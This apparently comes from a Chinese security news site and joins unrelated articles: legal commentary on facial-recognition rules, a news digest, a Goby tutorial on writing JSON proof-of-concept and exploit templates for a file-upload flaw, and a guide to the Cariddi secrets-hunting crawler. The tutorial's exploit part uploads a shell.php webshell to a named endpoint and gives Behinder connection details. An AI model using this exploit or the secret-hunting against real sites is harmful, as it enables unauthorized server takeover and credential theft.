本次《规定》明确小区物业在使用人脸识别门禁系统录入人脸信息时,应当征得业主或者物业使用人的同意,而对于不同意的业主或物业使用人,小区物业应当提供替代性验证方式,不得侵害业主或物业使用人的人格权益和其他合法权益。

倘若物业服务企业或者其他建筑物管理人以人脸识别作为业主或者物业使用人出入物业服务区域的唯一验证方式的,不同意的业主或者物业使用人请求其提供其他合理验证方式的,人民法院依法予以支持。

同时,如果物业服务企业或者其他建筑物管理人存在下列情形的,属于侵害自然人人格权益的侵权行为,当事人请求物业服务企业或者其他建筑物管理人承担侵权责任的,人民法院依法予以支持。

未公开处理人脸信息的规则或者未明示处理的目的、方式、范围;

违反信息处理者明示或者双方约定的处理人脸信息的目的、方式、范围等;

未采取应有的技术措施或者其他必要措施确保其收集、存储的人脸信息安全,致使人脸信息泄露、篡改、丢失;

违反法律、行政法规的规定或者双方的约定,向他人提供人脸信息;

违背公序良俗处理人脸信息;

违反合法、正当、必要原则处理人脸信息的其他情形。

四、加强对未成年人人脸信息的保护
伴随着人脸识别应用场景越来越广泛,未成年人的人脸信息被采集的场景也越来越多,既有线上的,如,商场、小区、学校等场所安装的人脸识别系统,也有线下的,如手机上带有人脸识别功能的APP软件,互联网上需要进行人脸验证的平台等等。倘若未成年人的人脸信息一旦泄露,侵权影响甚至可能伴随其一生,特别是技术歧视或算法偏见所导致的不公平待遇,会直接影响未成年人的人格发展。对于这一问题,本次《规定》则从司法审判层面加强对未成年人人脸信息的保护。

第二条 信息处理者处理人脸信息有下列情形之一的,人民法院应当认定属于侵害自然人人格权益的行为:

(三)基于个人同意处理人脸信息的,未征得自然人或者其监护人的单独同意,或者未按照法律、行政法规的规定征得自然人或者其监护人的书面同意;

按照告知同意原则,《规定》第2条第3项明确了信息处理者处理未成年人人脸信息的,必须征得其监护人的单独同意。

而关于具体年龄,《人脸识别要求》的征求意见稿规定,原则上不应使用人脸识别方式对不满十四周岁的未成年人进行身份识别;而最高法在答记者问时表示可依据《未成年人保护法》《网络安全法》以及将来的《个人信息保护法》进行认定。

第三条人民法院认定信息处理者承担侵害自然人人格权益的民事责任,应当适用民法典第九百九十八条的规定,并结合案件具体情况综合考量受害人是否为未成年人、告知同意情况以及信息处理的必要程度等因素。

而在侵权责任认定方面,《规定》第3条在民法典第998条的基础上,对侵害人脸信息责任认定的考量因素予以细化,结合当前未成年人人脸信息保护现状,明确将“受害人是否未成年人”作为责任认定特殊考量因素,对于违法处理未成年人人脸信息的,在责任承担时依法予以从重从严。

五、明确格式条款的效力
第十一条信息处理者采用格式条款与自然人订立合同,要求自然人授予其无期限限制、不可撤销、可任意转授权等处理人脸信息的权利,该自然人依据民法典第四百九十七条请求确认格式条款无效的,人民法院依法予以支持。

针对信息处理者通过采用格式条款与自然人订立合同,要求自然人授予其无期限限制、不可撤销、可任意转授权等处理人脸信息的权利的,第11条规定,自然人依据民法典第497条请求确认格式条款无效的,人民法院依法予以支持。

六、合规建议
本次最高法针对人脸识别问题颁布的规定涵盖了近期群众关心的热点问题,所涉及的主体也相当广泛,具体如物业服务企业或者其他建筑物管理人,广泛如人脸信息处理者,其行为与纠纷均有可能落入该《规定》的适用范围。其中需要值得注意的是对于“人脸信息处理者”的界定,根据文义解释与立法目的,凡是以人脸信息处理为内容的企业均属于此“人脸信息处理者”。

在实践中,人脸识别服务多由以“人脸识别”为业务内容的人工智能公司或互联网公司的有关业务部门提供。其所提供的人脸识别技术服务内容,既涉及SaaS部署、私有化部署,也包括提供SDK产品或运营与终端对接的人脸识别软件,不同的技术服务对于人脸信息的处理程度存在高低之别,监管机关对此应有所区别。

而为了应对不断加码的安全合规要求,我们对上述企业提出如下建议,以供参考。

完善隐私协议,公开处理人脸信息的规则或者明示处理的目的、方式、范围,并确保处理人脸信息时得到单独授权;

接入第三方人脸识别SDK时应当进行信息公示,同时应保证API和SDK等技术工具的安全;

人脸信息与个人身份信息分开存储,且不存储原始人脸信息(如人脸图像等);

不存储原始个人生物识别信息(如人脸识别底图、签到人脸照片等),或是仅存储人脸的摘要信息,或是在人脸信息采集终端中直接使用人脸识别信息实现身份识别、认证等功能,或在使用面部识别特征实现识别身份、认证等功能后删除可提取人脸识别信息的原始图像。

因业务需要确需共享、转让人脸信息, 应单独向人脸信息主体告知目的、涉及的人脸识别信息类型、数据接收方的具体身份和数据安全能力等,并征得信息主体的明示同意。

本文作者:丁学明律师, 属于FreeBuf原创奖励计划,未经许可禁止转载

全球咨询巨头埃森哲遭勒索攻击;微软警告新的RCE零日漏洞

全球动态
1. 全球咨询巨头埃森哲遭到LockBit 2.0勒索软件攻击
IT和咨询巨头埃森哲被LockBit 2.0勒索团伙攻击,该团伙在其泄漏网站上宣布了这一攻击。[外刊-阅读原文]

2. 警方和GreyShift承诺相互为对方的iPhone解锁工具保密
警方和政府机构一直试图对他们购买GreyShift的GreyKey iPhone解锁技术进行保密。GreyShift的GreyKey iPhone取证工具以前在FCC文件中被披露过。但现在,一系列的保密协议和其他保密文件透露了关于该工具的使用和要求的某些细节。[阅读原文]

3. 微软在修复安全漏洞后重振已弃用的 RDCMan
微软已经恢复了远程桌面连接管理器 (RDCMan) 应用程序。该应用程序去年因公司决定不修复的一个重要的信息披露漏洞而被弃用。[外刊-阅读原文]

4. Water Kappa 正瞄准日本的加密货币用户
一个基于社会工程的恶意广告活动已被发现,目标是日本的加密货币用户。该活动通过恶意的应用程序传播,利用了其中的侧载漏洞。被利用的漏洞被用来加载和启动Cinobi银行木马。[外刊-阅读原文]

5. 美NIST对儿童密码的研究表明密码最佳实践与行为之间存在差距
据外媒CNET报道,尽管人们可能认为在数字时代长大的青少年是更懂技术的一代,但他们仍然面临同样的网络安全威胁。美国国家标准与技术研究院(NIST)8月11日发布的一项研究显示,即使孩子们被教导了创建密码的最佳做法,他们也没有遵守。[阅读原文]

6. 匹兹堡大学医学中心(UPMC)支付 265 万美元以解决数据泄露案
七年前,匹兹堡大学医学中心 (UPMC) 发生数据泄露事件 。现在UPMC 将向 66,000 名员工支付 265 万美元已解决这件事,这些员工的个人数据被前联邦紧急事务管理局 (FEMA) 的 IT 专家 Justin Sean Johnson窃取。[外刊-阅读原文]

安全事件
1. Poly Network 失窃的 6 亿美元数字货币,黑客现已退还部分
Poly Network 通过社交网络发表公开信,呼吁黑客归还窃取的数字资产,称“所有国家的执法部门都会将这起案件视为重大经济犯罪并进行追捕”。8月11日,黑客真的开始退还部分窃取的资金,超过 2.6 亿美元的加密货币已经归还。[阅读原文]

2. 微软警告新的未打补丁的 Windows Print Spooler RCE 零日漏洞
微软警告另一个 Windows 打印后台处理程序的零日漏洞,被命名为 CVE-2021-36958,可能允许本地攻击者获得系统权限。[外刊-阅读原文]

3. 微软更新补丁修复了 PrintNightmare 漏洞
微软8月10日发布了 8 月份的补丁安全更新,解决了微软产品中的 120 个 CVE,包括一个在野外被积极利用的零日漏洞。[外刊-阅读原文]

4. Adobe 修复了 Magento 中的严重漏洞,建议立即更新
2021 年 8 月的 Adob​​e 安全更新总共解决了 29 个漏洞,包括 Magento 中的关键漏洞和 Adob​​e Connect 中的重要漏洞。[外刊-阅读原文]

5. 托管 DNS 服务云中的漏洞让攻击者监视 DNS 流量
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。[外刊-阅读原文]

6. 新的 AdLoad 恶意软件变种绕过 Apple 的 XProtect 防御
一种新的 AdLoad 恶意软件变种正在通过 Apple 基于 YARA 签名的 XProtect 内置防病毒软件感染 Mac。[外刊-阅读原文]

优质文章
1. 数据交换共享安全管理方案 —— NIST SP 800-47干货
本文梳理了NIST SP 800-47原文,结合作者对数据安全的理解,将主要内容简明的给大家做个介绍,本文的文档结构未按照原文的文档结构。[阅读原文]

2. 利用AI检测IoT恶意流量
为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测。[阅读原文]

3. Android内核提权之路,“太卷了!”
最近,两款Android主流GPU内核驱动(Adreno和Mali)修补了关于内存管理的逻辑漏洞,而芯片安全、Android安全也是slipper的主要研究方向。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标明为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

本文作者:三分浅土, 转载请注明来自FreeBuf.COM

Json 编写 PoC&EXP 遇到的那些坑

这几天师傅们都在提交 Goby 的 EXP,赶鸭子上架,一边研究一边写,也写出来几个,编写过程中遇到了很多问题,都记录了下来。这篇文章主要讲一些遇到过的坑及调试的问题,再通过一个文件上传类 PoC/EXP 来详细讲解。因为我也是刚刚学习编写,如果文章中的说法有什么问题请师傅们及时指出。我使用的版本是 goby-win-x64-1.8.275,PoC 使用 json 编写。

0×01 一些调试遇到的问题
1.1 通过 Burp 代理获取 Goby 流量进行调试
在扫描设置中设置 Burp 的代理。

在设置完代理后最好重启一下,之后点击新建扫描->开始

Burp中就可以抓到包了。

注意:设置代理后有个小问题,就是开始扫描后抓不到POC验证的流量,主要是因为开启扫描后 Goby 先进行端口、协议和资产的识别,再进行漏洞探测。所以这里扫描的话建议设置Burp 为 Intercept is off ,因为本身我们需要抓取的是 PoC 的流量,这里扫描的流量就看个人需求了。(这里测试的只是Burp的代理,我用的版本是1.6的,至于其他的代理或者Burp版本还未测试)

扫描结果如下图所示:

这时候要看 PoC 的流量在修改 PoC 中有一个单 ip 扫描,这里可以抓到 PoC 的流量

可以看到已经拦截到流量了

注意:这里也有个小问题,就是如果在 PoC 管理中测试,必须先新建立扫描任务扫完后再去 PoC 管理中测试,Burp 才可以抓到包。

还有个小技巧,通常修改完 PoC 后需要重启一下 Goby,如果想要快速调试PoC包并观察流量,修改完后可以点击返回到 PoC 管理页面再点击进来.

可以看到流量中明显变化了。

1.2 识别规则并调用 PoC
经过测试发现 Goby 的 PoC 调用规则是先通过 PoC 写的查询规则去查询,如果查询到才会调用 PoC 进行扫描,否则就算你勾选了 PoC 也不会进行调用。具体得查询规则可以查看 Goby 查询语法

这里就可以发现有时候通过 PoC 管理手动测试的漏洞可以验证成功,而通过扫描的地址无法检测到存在漏洞。

注意:有时候一些 CMS 需要自己定义一些规则,比如 body=“this is test” || title=”管理登录”之类的,有时候会发现直接扫描域名无法匹配到其规则,如果扫描IP则会匹配到。

0×02 编写文件上传类PoC及EXP
接下来通过一个文件上传类的 PoC/EXP 来讲解一下编写过程中遇到的问题。文件上传的 PoC 规则是需要上传一个输出特定信息并且自删除的脚本。如:


这样的话我们需要在 PoC 处发送两次请求,第一次进行上传文件操作,第二次对上传的文件进行访问并验证,在访问之后这个文件会自动删除。

下面贴出请求代码,讲解我通过代码块写出。

“ScanSteps”: [
“AND”,
{
“Request”: {
“method”: “POST”,
“uri”: “/wxapp.php?controller=Goods.doPageUpload”,
“follow_redirect”: false,
//header头的设置,这里最好还是通过Burp抓包把请求头写入防止请求出错
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “multipart/form-data; boundary=—-WebKitFormBoundary8UaANmWAgM4BqBSs”
},
“data_type”: “text”,
//post数据可以从Burp中直接复制,通过Goby的图形化界面直接复制进去,这里会自动生成
“data”: “\n——WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=\”upfile\”; filename=\”test.php\”\nContent-Type: image/gif\n\n\n\n——WebKitFormBoundary8UaANmWAgM4BqBSs–”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “$code”,
“operation”: “==”,
“value”: “200”,
“bz”: “”
},
{
“type”: “item”,
“variable”: “$body”,
“operation”: “contains”,
“value”: “image_o”,
“bz”: “”
}
]
},
“SetVariable”: [
//这里需要设置两个变量,通过正则匹配返回,为上传文件的路径
“urlDir|lastbody|regex|image_o\”:\”.*goods\\\\/(.*?)\\\\/.*\””,
“urlDir2|lastbody|regex|image_o\”:\”.*goods\\\\/.*\\\\/(.*?)\””
]
},
{
“Request”: {
“method”: “GET”,
//这里调用上面的两个变量去发送GET请求
“uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}”,
“follow_redirect”: false,
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”
},
“data_type”: “text”,
“data”: “”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “$code”,
“operation”: “==”,
“value”: “200”,
“bz”: “”
},
{
“type”: “item”,
“variable”: “$body”,
“operation”: “contains”,
“value”: “e165421110ba03099a1c0393373c5b43”,//判断页面是否有该md5值
“bz”: “”
}
]
},
“SetVariable”: []
}
],
这里需要说一下下面的两句正则

“urlDir|lastbody|regex|image_o\”:\”.*goods\\\\/(.*?)\\\\/.*\””,
“urlDir2|lastbody|regex|image_o\”:\”.*goods\\\\/.*\\\\/(.*?)\””
因为输出的文件地址是 //Uploads/image/goods/2021-05-27/0206254881620132.php 这样子的

如果写成这样

直接调用发送 GET 请求为 %5C/image%5C/goods%5C/2021-05-27%5C/0206254881620132.php

这种请求会返回404

所以必须将 \ 去掉,已知文件的路径除了最后的上传日期和文件名在变化,其他不变,所以前面路径可以写死,通过正则取到日期和文件名进行组合请求。

注意:如果使用 json 编写,\ 这里必须通过两个 \ 匹配,否则匹配不到

“urlDir|lastbody|regex|image_o”:”.goods\\/(.?)\\/.*”” 取出日期,结果为 2021-05-27

“urlDir2|lastbody|regex|image_o”:”.goods\\/.\\/(.*?)”” 取出文件名 结果为 0206254881620132.php

然后通过 “uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}” 请求则返回成功

PoC 部分写完,接下来看 EXP 部分就比较简单了,

“ExploitSteps”: [
“AND”,
{
“Request”: {
“method”: “POST”,
“uri”: “/wxapp.php?controller=Goods.doPageUpload”,
“follow_redirect”: false,
“header”: {
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”,
“Accept-Language”: “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Accept-Encoding”: “gzip, deflate, br”,
“Connection”: “keep-alive”,
“Upgrade-Insecure-Requests”: “1”,
“Content-Type”: “multipart/form-data; boundary=—-WebKitFormBoundary8UaANmWAgM4BqBSs”
},
“data_type”: “text”,
“data”: “\n——WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=\”upfile\”; filename=\”shell.php\”\nContent-Type: image/gif\n\n\n\n——WebKitFormBoundary8UaANmWAgM4BqBSs–”
},
“ResponseTest”: {
“type”: “group”,
“operation”: “AND”,
“checks”: [
{
“type”: “item”,
“variable”: “$code”,
“operation”: “==”,
“value”: “200”,
“bz”: “”
},
{
“type”: “item”,
“variable”: “$body”,
“operation”: “contains”,
“value”: “image_o”,
“bz”: “”
}
]
},
“SetVariable”: [
“output|lastbody|regex|image_o\”:\”(.*?)\””
]
}
],
直接上传 shell,这里的 data 数据还是通过 Burp 直接复制即可,通过 Goby 的图形化界面复制进去会自动生成换行符之类的,Exploit 部分可以先将数据通过 PoC 部分的图形化界面生成再复制进下面 Exploit 的 json 中。

图片下方为测试截图

这里因为需要输出 shell 地址和连接方式,并且要去掉 \,这样的话就需要变量或者字符串拼接… 一直没测试成功,就通过 expParams 设置了一下显示信息…

“ExpParams”: [
{
“name”: “webshellinfo”,
“type”: “textarea”,
“value”: “Using Behinder_v3.0 connection, password is rebeyond”,
“show”: “”
}
],
但是这样是不合规的 – -,因为 ExpParams 不是当做输出信息来用的,而是为了给 EXP 传参用的。最后问了 Goby 的师傅说目前使用 json 编写要想在 output 处实现这样的需求是不行的,想要实现的话只能使用 go 来编写了。

0×03 总结
-.- 编写过程中还是遇到了很多问题,大部分算是解决了,当然一些需求还是需要用 go 写,希望能帮助还不会 go 语言的小伙伴们通过 json 去编写 PoC/EXP。最后感谢师傅们的指导~~~

文章来自Goby社区成员:HuaiNian,转载请注明出处。

如何使用Cariddi扫描域名相关的各种敏感信息

关于Cariddi
Cariddi是一款功能强大的信息收集与扫描工具,我们只需给它提供一个域名列表,Cariddi就能够帮助我们爬取URL地址,扫描终端节点,并搜索敏感数据、API密钥、文件后缀和令牌等信息。

工具安装
首先,我们需要在本地设备上安装并配置好Go环境。

Linux安装
首先,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/edoardottt/cariddi.git

cd cariddi

go get
运行下列命令即可安装Cariddi:

make linux
运行下列命令即可卸载Cariddi:

make unlinux
或者,我们也可以直接运行下列一行命令:

git clone https://github.com/edoardottt/cariddi.git; cd cariddi; go get; make linux
Windows安装(可执行程序只能在cariddi目录下运行)
首先,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/edoardottt/cariddi.git

cd cariddi

go get
运行下列命令即可安装Cariddi:

.\make.bat windows
运行下列命令即可卸载Cariddi:

.\make.bat unwindows
工具使用
在命令行窗口中运行命令“cariddi -h”,即可查看工具的帮助信息:

Usage of cariddi:

-c int

Concurrency level. (default 20)

-cache

Use the .cariddi_cache folder as cache.

-d int

Delay between a page crawled and another.

-e Hunt for juicy endpoints.

-ef string

Use an external file (txt, one per line) to use custom parameters for endpoints hunting.

-examples

Print the examples.

-ext int

Hunt for juicy file extensions. Integer from 1(juicy) to 7(not juicy).

-h Print the help.

-i string

Ignore the URL containing at least one of the elements of this array.

-intensive

Crawl searching for resources matching 2nd level domain.

-it string

Ignore the URL containing at least one of the lines of this file.

-oh string

Write the output into an HTML file.

-ot string

Write the output into a TXT file.

-plain

Print only the results.

-s Hunt for secrets.

-sf string

Use an external file (txt, one per line) to use custom regexes for secrets hunting.

-t int

Set timeout for the requests. (default 10)

-version

Print the version.
工具使用样例
Linux环境
cariddi -version (打印工具版本信息)

cariddi -h (打印工具帮助信息)

cariddi -examples (输出样例)

cat urls | cariddi -s (搜索敏感信息)

cat urls | cariddi -d 2 (设置页面爬取间隔为2秒)

cat urls | cariddi -c 200 (将并发级别设置为200)

cat urls | cariddi -e (搜索有价值的终端节点)

cat urls | cariddi -plain (仅输出有用的信息)

cat urls | cariddi -ot target_name (将结果存储至txt文件中)

cat urls | cariddi -oh target_name (将结果存储至html文件中)

cat urls | cariddi -ext 2 (搜索有价值的文件(等级2-7))

cat urls | cariddi -e -ef endpoints_file (搜索自定义终端节点)

cat urls | cariddi -s -sf secrets_file (搜索自定义敏感信息)

cat urls | cariddi -i forum,blog,community,open (忽略包含这些关键词的URL)

cat urls | cariddi -it ignore_file (忽略包含输入文件中内容的URL)

cat urls | cariddi -cache (使用.cariddi_cache作为缓存目录)

cat urls | cariddi -t 5 (设置请求超时)

cat urls | cariddi -intensive (爬取搜索与第二级域匹配的资源)
Windows使用样例
powershell.exe -Command “cat urls | .\cariddi.exe”
工具演示视频
视频地址:【点我观看】

项目地址
Cariddi:【GitHub传送门】

许可证协议
本项目的开发与发布遵循GNU v3.0开源许可证协议。

参考资料
https://www.edoardoottavianelli.it/

https://github.com/zricethezav/gitleaks/blob/master/config/default.go

https://github.com/edoardottt/cariddi/blob/master/CODE_OF_CONDUCT.md

https://golang.org/

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM